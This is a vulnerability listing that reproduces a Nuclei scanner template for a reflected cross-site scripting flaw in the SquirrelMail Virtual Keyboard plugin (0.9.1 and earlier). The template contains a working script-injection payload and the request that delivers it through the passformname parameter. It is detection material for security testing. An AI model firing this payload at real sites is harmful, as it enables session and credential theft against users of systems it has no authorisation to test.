squirrelmail-vkeyboard-xss: SquirrelMail Virtual Keyboard <=0.9.1 - Cross-Site Scripting

2025-08-01 SquirrelMail Virtual Keyboard PoC Public

Description

SquirrelMail Virtual Keyboard plugin 0.9.1 and prior contains a cross-site scripting vulnerability via the vkeyboard.php parameter. It fails to properly sanitize user-supplied input, which allows an attacker to execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.

PoC

id: squirrelmail-vkeyboard-xss

info:
  name: SquirrelMail Virtual Keyboard <=0.9.1 - Cross-Site Scripting
  author: dhiyaneshDk
  severity: medium
  description: SquirrelMail Virtual Keyboard plugin 0.9.1 and prior contains a cross-site scripting vulnerability via the vkeyboard.php parameter. It fails to properly sanitize user-supplied input, which allows an attacker to execute arbitrary script in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  reference:
    - https://www.exploit-db.com/exploits/34814
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 5.4
    cwe-id: CWE-80,CWE-83
  metadata:
    max-request: 1
  tags: xss,squirrelmail,plugin,edb,vuln
variables:
  payload: "\"><script>alert({{rand_int()}});</script><script>/*"

http:
  - method: GET
    path:
      - '{{BaseURL}}/plugins/vkeyboard/vkeyboard.php?passformname={{url_encode(payload)}}'

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200

      - type: word
        words:
          - 'onclick="window.opener.document.forms[0].{{payload}}'
        part: body

      - type: word
        words:
          - "text/html"
        part: header
# digest: 4a0a00473045022100cc7300327728cce2b730c647047d4f15fc53b237dce9829a2d0ffc7e3b9332a6022011747c80036c533794d678b97f426d6b8f69d88d5d4e1429a7fe9db1d5e26762:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/vulnerabilities/squirrelmail/squirrelmail-vkeyboard-xss.yaml

References

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